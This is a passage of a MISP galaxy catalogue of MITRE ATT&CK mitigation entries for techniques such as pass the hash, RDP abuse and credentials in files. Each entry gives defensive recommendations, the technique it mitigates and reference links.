Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation - T1031"*

View relationships graph

Modify Existing Service Mitigation - T1031 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"

Table 4657. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1031
https://github.com/mattifestation/PowerSploit

Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation - T1105"*

View relationships graph

Remote File Copy Mitigation - T1105 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 4658. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1105

Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation - T1061"*

View relationships graph

Graphical User Interface Mitigation - T1061 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"

Table 4659. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1061
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation - T1017"*

View relationships graph

Application Deployment Software Mitigation - T1017 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"

Table 4660. Table References

Links
https://attack.mitre.org/mitigations/T1017

Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

The tag is: *misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation - T1081"*

View relationships graph

Credentials in Files Mitigation - T1081 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"

Table 4661. Table References

Links
http://support.microsoft.com/kb/2962486
https://attack.mitre.org/mitigations/T1081

Remote System Discovery Mitigation - T1018

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Remote System Discovery Mitigation - T1018"*

View relationships graph

Remote System Discovery Mitigation - T1018 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 4662. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1018
https://technet.microsoft.com/en-us/library/ee791851.aspx

Indirect Command Execution Mitigation - T1202

Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Indirect Command Execution Mitigation - T1202"*

View relationships graph

Indirect Command Execution Mitigation - T1202 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 4663. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1202

https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
https://technet.microsoft.com/en-us/library/ee791851.aspx

XSL Script Processing Mitigation - T1220

[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="XSL Script Processing Mitigation - T1220"*

View relationships graph

XSL Script Processing Mitigation - T1220 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"

Table 4664. Table References

Links
https://attack.mitre.org/mitigations/T1220

Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Standard Cryptographic Protocol Mitigation - T1032"*

View relationships graph

Standard Cryptographic Protocol Mitigation - T1032 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 4665. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1032

Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Custom Cryptographic Protocol Mitigation - T1024"*

View relationships graph

Custom Cryptographic Protocol Mitigation - T1024 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 4666. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1024

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Information Discovery Mitigation - T1082"*

View relationships graph

System Information Discovery Mitigation - T1082 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 4667. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1082
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Remote Management Mitigation - T1028

Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Remote Management Mitigation - T1028"*

View relationships graph

Windows Remote Management Mitigation - T1028 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"

Table 4668. Table References

Links
https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm
https://attack.mitre.org/mitigations/T1028

Commonly Used Port Mitigation - T1043

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Commonly Used Port Mitigation - T1043"*

View relationships graph

Commonly Used Port Mitigation - T1043 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 4669. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1043

Security Software Discovery Mitigation - T1063

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Security Software Discovery Mitigation - T1063"*

View relationships graph

Security Software Discovery Mitigation - T1063 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 4670. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1063
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Network Service Scanning Mitigation - T1046

Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Service Scanning Mitigation - T1046"*

View relationships graph

Network Service Scanning Mitigation - T1046 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 4671. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1046
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Isolation and Sandboxing - M1048

Restrict execution of code to a virtual environment on or in transit to an endpoint system.

The tag is: *misp-galaxy:mitre-course-of-action="Application Isolation and Sandboxing - M1048"*

View relationships graph

Application Isolation and Sandboxing - M1048 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 4672. Table References

Links
https://attack.mitre.org/mitigations/M1048

Inhibit System Recovery Mitigation - T1490

Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Inhibit System Recovery Mitigation - T1490"*

View relationships graph

Inhibit System Recovery Mitigation - T1490 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 4673. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1490
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Uncommonly Used Port Mitigation - T1065"*

View relationships graph

Uncommonly Used Port Mitigation - T1065 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"

Table 4674. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1065

Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located

<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Hash Mitigation - T1075"*

View relationships graph

Pass the Hash Mitigation - T1075 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Table 4675. Table References

Links
https://attack.mitre.org/mitigations/T1075
https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml

Remote Desktop Protocol Mitigation - T1076

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

The tag is: *misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation - T1076"*

View relationships graph

Remote Desktop Protocol Mitigation - T1076 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"

Table 4676. Table References

Links

https://attack.mitre.org/mitigations/T1076
https://security.berkeley.edu/node/94
https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx

NTFS File Attributes Mitigation - T1096

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

The tag is: *misp-galaxy:mitre-course-of-action="NTFS File Attributes Mitigation - T1096"*

View relationships graph

NTFS File Attributes Mitigation - T1096 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"

Table 4677. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1096
https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Permission Groups Discovery Mitigation - T1069

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation - T1069"*

View relationships graph

Permission Groups Discovery Mitigation - T1069 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Table 4678. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1069
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Admin Shares Mitigation - T1077

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Admin Shares Mitigation - T1077"*

View relationships graph

Windows Admin Shares Mitigation - T1077 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 4679. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1077
https://technet.microsoft.com/en-us/library/ee791851.aspx

Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Pass the Ticket Mitigation - T1097"*

View relationships graph

Pass the Ticket Mitigation - T1097 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"

Table 4680. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://adsecurity.org/?p=556
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1097
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://technet.microsoft.com/en-us/library/ee791851.aspx

Disabling Security Tools Mitigation - T1089

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: *misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation - T1089"*

View relationships graph

Disabling Security Tools Mitigation - T1089 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 4681. Table References

Links
https://attack.mitre.org/mitigations/T1089

Space after Filename Mitigation - T1151

Prevent files from having a trailing space after the extension.

The tag is: *misp-galaxy:mitre-course-of-action="Space after Filename Mitigation - T1151"*

View relationships graph

Space after Filename Mitigation - T1151 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"

Table 4682. Table References

Links
https://attack.mitre.org/mitigations/T1151

Credentials in Registry Mitigation - T1214

Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.

The tag is: *misp-galaxy:mitre-course-of-action="Credentials in Registry Mitigation - T1214"*

View relationships graph

Credentials in Registry Mitigation - T1214 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 4683. Table References

Links
https://attack.mitre.org/mitigations/T1214

System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"*

View relationships graph

System Time Discovery Mitigation - T1124 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 4684. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1124
https://technet.microsoft.com/en-us/library/ee791851.aspx

Browser Bookmark Discovery Mitigation - T1217

